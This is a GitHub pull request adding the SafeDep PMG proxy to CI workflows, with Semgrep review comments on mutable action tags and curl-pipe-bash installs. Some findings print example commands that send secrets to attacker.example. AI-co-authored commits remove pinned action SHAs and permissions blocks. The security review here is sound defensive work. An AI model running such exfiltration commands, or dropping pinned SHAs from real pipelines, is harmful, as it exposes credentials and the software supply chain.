ci: integrate SafeDep PMG on all workflow jobs - #340
Conversation
Route package installs through PMG's persistent proxy to auto-block malicious packages in CI. Added to every job across both workflows: - ci.yml: build, test, publish - python.yml: deploy Each job starts safedep/pmg@v1 in server-mode after checkout and runs 'pmg proxy stop --fail-on-violation' with if: always() as the final step to enforce policy and flush events.
| steps: | ||
| - uses: actions/checkout@v2 | ||
| - name: Start PMG proxy | ||
| uses: safedep/pmg@v1 |
There was a problem hiding this comment.
Semgrep identified an issue in your code:
The safedep/pmg@v1 step trusts a mutable tag, allowing its owner or an attacker with release access to change code executed in the deploy job. The action receives SAFEDEP_API_KEY and SAFEDEP_TENANT_ID, which malicious code could exfiltrate.
More details about this
The deploy job runs the third-party safedep/pmg action through the mutable v1 reference. The owner of safedep/pmg can move v1 to a new commit without changing this workflow, so a compromised account or release process could make a future workflow execute attacker-controlled action code.
A plausible attack would be:
- An attacker gains control of the
safedep/pmgrepository or its release permissions and repoints thev1tag to a malicious commit. - A push to
masterstarts thedeployjob, and theStart PMG proxystep downloads and executes that new commit. - The malicious action reads the
api-keyvalue from${{ secrets.SAFEDEP_API_KEY }}and thetenant-idfrom${{ secrets.SAFEDEP_TENANT_ID }}because both are supplied tosafedep/pmgas action inputs. - It can send those values to an attacker-controlled endpoint, for example with a command equivalent to
curl -X POST --data "$SAFEDEP_API_KEY" https://attacker.example/collect, and can also tamper with the workspace beforepip installand the test commands run.
Because v1 is resolved at workflow runtime, the same YAML can begin executing different code on a later run, without a review or change in this repository.
To resolve this comment:
✨ Commit fix suggestion
| uses: safedep/pmg@v1 | |
| # Replace with the verified 40-character commit SHA for the trusted safedep/pmg v1 release. | |
| uses: safedep/pmg@<VERIFIED_VALUE_REQUIRED> # v1 |
View step-by-step instructions
- Replace the mutable tag with the full 40-character commit SHA that corresponds to the trusted
safedep/pmgv1release:uses: safedep/pmg@<40-character-commit-sha> # v1. - Verify that the SHA contains exactly 40 hexadecimal characters and points to the intended
v1release before applying it. - Keep the existing
withblock unchanged so the PMG proxy continues receivingserver-mode,api-key, andtenant-id.
💬 Ignore this finding
Leave a nosemgrep comment directly above or at the end of line 25 like so // nosemgrep: yaml.github-actions.security.github-actions-mutable-action-tag.github-actions-mutable-action-tag
Take care to validate that this is not a true positive finding before ignoring it.
Learn more about ignoring code, files and folders here.
You can view more details about this finding in the Semgrep AppSec Platform.
| steps: | ||
| - uses: actions/checkout@v2 | ||
| - name: Start PMG proxy | ||
| uses: safedep/pmg@v1 |
There was a problem hiding this comment.
Semgrep identified an issue in your code:
The safedep/pmg@v1 workflow action can be silently changed by moving its tag. A compromised version would run with SafeDep and PyPI publishing credentials, enabling secret theft or tampering with released packages.
More details about this
safedep/pmg@v1 uses the mutable v1 tag rather than an immutable commit. The action runs in both the test and publish jobs; in publish, it executes on tag releases with SAFEDEP_API_KEY, SAFEDEP_TENANT_ID, TWINE_USERNAME, and TWINE_PASSWORD available to the workflow. If the v1 tag is moved—or the action repository is compromised—an attacker could update the action without changing this workflow. For example:
- The attacker repoints
safedep/pmg'sv1tag to a malicious action. - A maintainer creates a release tag, causing the
publishjob to run becausegithub.refstarts withrefs/tags/v. - The malicious
safedep/pmgstep runs beforePublish packages to PyPiand can read workflow environment values, includingTWINE_PASSWORDand the SafeDep credentials. - It can send those values to an attacker-controlled endpoint, alter files in
dist, or interfere with the subsequenttwine upload, potentially exposing credentials or publishing attacker-controlled package contents.
The same mutable action reference is also used in the test job, where it executes during ordinary workflow runs and can access the configured SafeDep secrets.
To resolve this comment:
✨ Commit fix suggestion
| uses: safedep/pmg@v1 | |
| uses: safedep/pmg@<VERIFIED_VALUE_REQUIRED> # v1 | |
| uses: safedep/pmg@<VERIFIED_VALUE_REQUIRED> # v1 |
View step-by-step instructions
- Resolve the trusted
v1release ofsafedep/pmgto its full 40-character commit SHA from the repository’s release or tag history. - Replace both
safedep/pmg@v1references with that immutable SHA, preserving the version comment, for example:uses: safedep/pmg@<40-character-commit-sha> # v1. - Confirm that the selected SHA is exactly 40 hexadecimal characters and points to the intended
v1release. Commit pinning prevents the action from changing silently if the tag is repointed.
💬 Ignore this finding
Leave a nosemgrep comment directly above or at the end of line 81 like so // nosemgrep: yaml.github-actions.security.github-actions-mutable-action-tag.github-actions-mutable-action-tag
Take care to validate that this is not a true positive finding before ignoring it.
Learn more about ignoring code, files and folders here.
You can view more details about this finding in the Semgrep AppSec Platform.
| steps: | ||
| - uses: actions/checkout@v3 | ||
| - name: Start PMG proxy | ||
| uses: safedep/pmg@v1 |
There was a problem hiding this comment.
Semgrep identified an issue in your code:
The safedep/pmg action is pinned to the mutable v1 tag. If that tag is repointed, a malicious action can run in the build and test jobs and steal the supplied SafeDep secrets or abuse runner permissions.
More details about this
uses: safedep/pmg@v1 runs the safedep/pmg GitHub Action from the mutable v1 tag. The tag can be moved to a different commit without changing this workflow, so a compromised or malicious action release would execute in both the build and test jobs with the workflow’s runner permissions and the supplied SAFEDEP_API_KEY and SAFEDEP_TENANT_ID inputs.
A plausible attack would be:
- An attacker compromises the
safedep/pmgrepository or gains permission to update itsv1tag. - They repoint
v1to an action implementation that runs a command such ascurl -X POST -d "key=$INPUT_API_KEY&tenant=$INPUT_TENANT_ID" https://attacker.example/collect. - On the next workflow run, each
Start PMG proxystep resolvessafedep/pmg@v1to the attacker-controlled commit and executes it. - The malicious action reads the values passed from
${{ secrets.SAFEDEP_API_KEY }}and${{ secrets.SAFEDEP_TENANT_ID }}, then sends them to the attacker. It could also use the job’s GitHub token or runner access to tamper with the repository, artifacts, or subsequent build steps, depending on the workflow permissions.
Because the reference is @v1 rather than an immutable commit, the same workflow review does not guarantee that future runs execute the code that was originally reviewed.
To resolve this comment:
✨ Commit fix suggestion
| uses: safedep/pmg@v1 | |
| uses: safedep/pmg@<VERIFIED_VALUE_REQUIRED> # v1 | |
| # Replace <VERIFIED_VALUE_REQUIRED> with the verified 40-character commit SHA for the safedep/pmg v1 release. |
View step-by-step instructions
- Identify the trusted commit for the
safedep/pmgv1release from the action’s official repository or release history. - Replace each
uses: safedep/pmg@v1reference with the complete 40-character commit SHA, for example:uses: safedep/pmg@<40-character-commit-sha> # v1. - Update every occurrence in this workflow, including the
buildandtestjobs, so they use the same verified commit. Pinning to a commit prevents the action owner from silently changing the code behind thev1tag.
💬 Ignore this finding
Leave a nosemgrep comment directly above or at the end of line 50 like so // nosemgrep: yaml.github-actions.security.github-actions-mutable-action-tag.github-actions-mutable-action-tag
Take care to validate that this is not a true positive finding before ignoring it.
Learn more about ignoring code, files and folders here.
You can view more details about this finding in the Semgrep AppSec Platform.
| steps: | ||
| - uses: actions/checkout@v3 | ||
| - name: Start PMG proxy | ||
| uses: safedep/pmg@v1 |
There was a problem hiding this comment.
Semgrep identified an issue in your code:
The build workflow executes safedep/pmg through the mutable v1 tag. If that tag is repointed, a future run can execute attacker-controlled action code with the SafeDep API key and tenant ID.
More details about this
uses: safedep/pmg@v1 runs the safedep/pmg action from the mutable v1 tag. The tag can be moved by the action owner—or by an attacker who compromises that repository—so a later workflow run may execute different code without any change to this repository.
A plausible attack is:
- An attacker gains control of the
safedep/pmgrepository or its release process and repointsv1to a malicious commit. - A normal push to
masterstarts thebuildjob, which executes that new commit atStart PMG proxy. - The action receives
${{ secrets.SAFEDEP_API_KEY }}and${{ secrets.SAFEDEP_API_KEY }}/${{ secrets.SAFEDEP_API_KEY }}-adjacent workflow credentials through itswithinputs; malicious action code can read the suppliedapi-keyandtenant-idvalues and send them to an attacker-controlled server. - Because the compromised action runs before dependency installation and packaging, it can also alter the workspace, inspect repository contents, or influence the later
python -m buildandtwinecommands. The stolen credentials could let the attacker access the SafeDep tenant or abuse its API from outside the workflow.
To resolve this comment:
✨ Commit fix suggestion
| uses: safedep/pmg@v1 | |
| uses: safedep/pmg@<VERIFIED_VALUE_REQUIRED> # v1 | |
| # Replace the placeholder with the verified 40-character commit SHA for safedep/pmg release v1. |
View step-by-step instructions
- Replace the mutable
v1reference with the full 40-character commit SHA for the intendedsafedep/pmgrelease:
uses: safedep/pmg@<40-character-commit-sha> # v1 - Verify that the commit SHA belongs to the trusted
safedep/pmgrepository and corresponds to the version currently required by this workflow. - Keep the version comment, such as
# v1, so the pinned commit’s intended release remains clear.
💬 Ignore this finding
Leave a nosemgrep comment directly above or at the end of line 18 like so // nosemgrep: yaml.github-actions.security.github-actions-mutable-action-tag.github-actions-mutable-action-tag
Take care to validate that this is not a true positive finding before ignoring it.
Learn more about ignoring code, files and folders here.
You can view more details about this finding in the Semgrep AppSec Platform.
| api-key: ${{ secrets.PMG_PUBLIC_REPOS_TOKEN }} | ||
| tenant-id: ${{ secrets.PMG_TENANT_ID }} | ||
|
|
||
| - uses: actions/setup-node@v4 |
There was a problem hiding this comment.
GitHub Actions step uses a mutable tag or branch reference. Tags and branch names can be silently repointed by the action owner, enabling supply-chain attacks — as seen in the trivy-action and kics-github-action compromises. Pin the reference to a full 40-character commit SHA instead, e.g. uses: actions/checkout@8ade135a41bc03ea155e62e844d188df1ea18608.
🚀 Fixed in commit a244ee6 🚀
| runs-on: ubuntu-latest | ||
| steps: | ||
| - name: Setup PMG proxy | ||
| uses: safedep/pmg@v1 |
There was a problem hiding this comment.
GitHub Actions step uses a mutable tag or branch reference. Tags and branch names can be silently repointed by the action owner, enabling supply-chain attacks — as seen in the trivy-action and kics-github-action compromises. Pin the reference to a full 40-character commit SHA instead, e.g. uses: actions/checkout@8ade135a41bc03ea155e62e844d188df1ea18608.
🍰 Removed in commit a6fa245 🍰
| api-key: ${{ secrets.PMG_PUBLIC_REPOS_TOKEN }} | ||
| tenant-id: ${{ secrets.PMG_TENANT_ID }} | ||
|
|
||
| - uses: actions/setup-python@v5 |
There was a problem hiding this comment.
GitHub Actions step uses a mutable tag or branch reference. Tags and branch names can be silently repointed by the action owner, enabling supply-chain attacks — as seen in the trivy-action and kics-github-action compromises. Pin the reference to a full 40-character commit SHA instead, e.g. uses: actions/checkout@8ade135a41bc03ea155e62e844d188df1ea18608.
🥳 Fixed in commit a244ee6 🥳
| runs-on: ubuntu-latest | ||
| steps: | ||
| - name: Setup PMG proxy | ||
| uses: safedep/pmg@v1 |
There was a problem hiding this comment.
GitHub Actions step uses a mutable tag or branch reference. Tags and branch names can be silently repointed by the action owner, enabling supply-chain attacks — as seen in the trivy-action and kics-github-action compromises. Pin the reference to a full 40-character commit SHA instead, e.g. uses: actions/checkout@8ade135a41bc03ea155e62e844d188df1ea18608.
🌟 Removed in commit a6fa245 🌟
Brings this repo onto the same integration used in ai-playbook and i18nify, with the enforcement fix from blade. - Setup step renamed to "Setup PMG proxy" and given `id: pmg-setup`, so the enforce step can tell whether setup actually ran. - Enforce step runs `--fail-on-violation` only when setup succeeded. With a bare `if: always()`, any failure before the PMG step makes GitHub skip setup while still running enforce, which then dies with `pmg: command not found` (exit 127) and buries the real error. - Removed additions that are not part of the reference integration: `permissions:` blocks, workflow comments, pinned action SHAs and non-standard step names. - Added pmg-test.yml, byte-identical to the copy in ai-playbook and i18nify, which demonstrates the proxy blocking a known-malicious package and syncing the event to SafeDep Cloud. The workflow files are now the master versions plus the two PMG steps and nothing else: 62 lines added, none removed or modified. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
| run: | | ||
| curl -o- https://raw.githubusercontent.com/nvm-sh/nvm/v0.39.7/install.sh | bash | ||
| export NVM_DIR="$HOME/.nvm" | ||
| [ -s "$NVM_DIR/nvm.sh" ] && \. "$NVM_DIR/nvm.sh" | ||
| nvm install 20 | ||
| echo "$NVM_DIR/versions/node/$(nvm version 20)/bin" >> $GITHUB_PATH | ||
|
|
There was a problem hiding this comment.
A run: step pipes the output of curl or wget directly into a shell interpreter. This is the "curl | bash" install pattern — if the remote server is compromised or the URL is hijacked, an attacker can execute arbitrary code in your CI runner. Consider downloading the file first, verifying its checksum or signature, and then executing it.
🍰 Removed in commit a6fa245 🍰
| run: | | ||
| curl -o- https://raw.githubusercontent.com/nvm-sh/nvm/v0.39.7/install.sh | bash | ||
| export NVM_DIR="$HOME/.nvm" | ||
| [ -s "$NVM_DIR/nvm.sh" ] && \. "$NVM_DIR/nvm.sh" | ||
| nvm install 20 | ||
| echo "$NVM_DIR/versions/node/$(nvm version 20)/bin" >> $GITHUB_PATH | ||
|
|
There was a problem hiding this comment.
A run: step pipes the output of curl or wget directly into a shell interpreter. This is the "curl | bash" install pattern — if the remote server is compromised or the URL is hijacked, an attacker can execute arbitrary code in your CI runner. Consider downloading the file first, verifying its checksum or signature, and then executing it.
⭐ Removed in commit a6fa245 ⭐
pmg-test.yml was added alongside the PMG integration purely to prove the proxy behaves correctly inside this repository's own CI environment. It ran two jobs: one installing a known-clean package to confirm PMG does not block legitimate traffic, and one installing the deliberately-flagged safedep-test-pkg@0.1.3 to confirm the block is caught and `pmg proxy stop --fail-on-violation` fails the job as intended. That validation is now complete across every repository in this rollout, so the workflow has served its purpose. Leaving it in place would mean a permanent CI job that installs a deliberately-flagged package on every push and pull request - burning runner time and producing a red check that is expected-to-fail, which is exactly the kind of noise that trains people to ignore CI signal. The PMG integration itself is untouched. The safedep/pmg setup steps and the `pmg proxy stop --fail-on-violation` enforcement steps in this repository's real build and test workflows remain exactly as they were. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
What
Integrates SafeDep PMG (Package Manager Guard) into all jobs across both GitHub Actions workflows. PMG runs as a persistent proxy that intercepts every package install (pip) and auto-blocks any package flagged as malicious — with or without SafeDep credentials (falls back to free community intelligence).
Integration pattern (per SafeDep docs)
Every job now follows the same three-part pattern:
safedep/pmg@v1inserver-mode: true, placed right afteractions/checkoutso it intercepts all subsequent installs.pmg proxy stop --fail-on-violationas the final step withif: always(), which enforces the block (fails the job on a violation) and flushes events even when an earlier step fails.Jobs report
ci.ymlbuildpip install build,twineci.ymltestpip install responses, coverage,setup.py installci.ymlpublishpip install twinepython.ymldeploypip install setuptools, responses,setup.py installNo jobs skipped — all 4 use pip and benefit from interception; none are broken by the proxy.
Config / secrets
The action references two optional secrets for SafeDep Cloud event sync:
SAFEDEP_API_KEYSAFEDEP_TENANT_IDPer the docs, PMG still blocks malicious packages using free community intelligence even if these are absent — empty secrets do not break the jobs. Add them to the repo to connect runs to the Endpoint Hub.
Safety / scope
ci.ymlwhere a new step was inserted.python.yml's old Python matrix (3, 3.5, 3.6…) is unaffected — PMG works via proxy env vars, independent of Python version.Discussion thread: Slack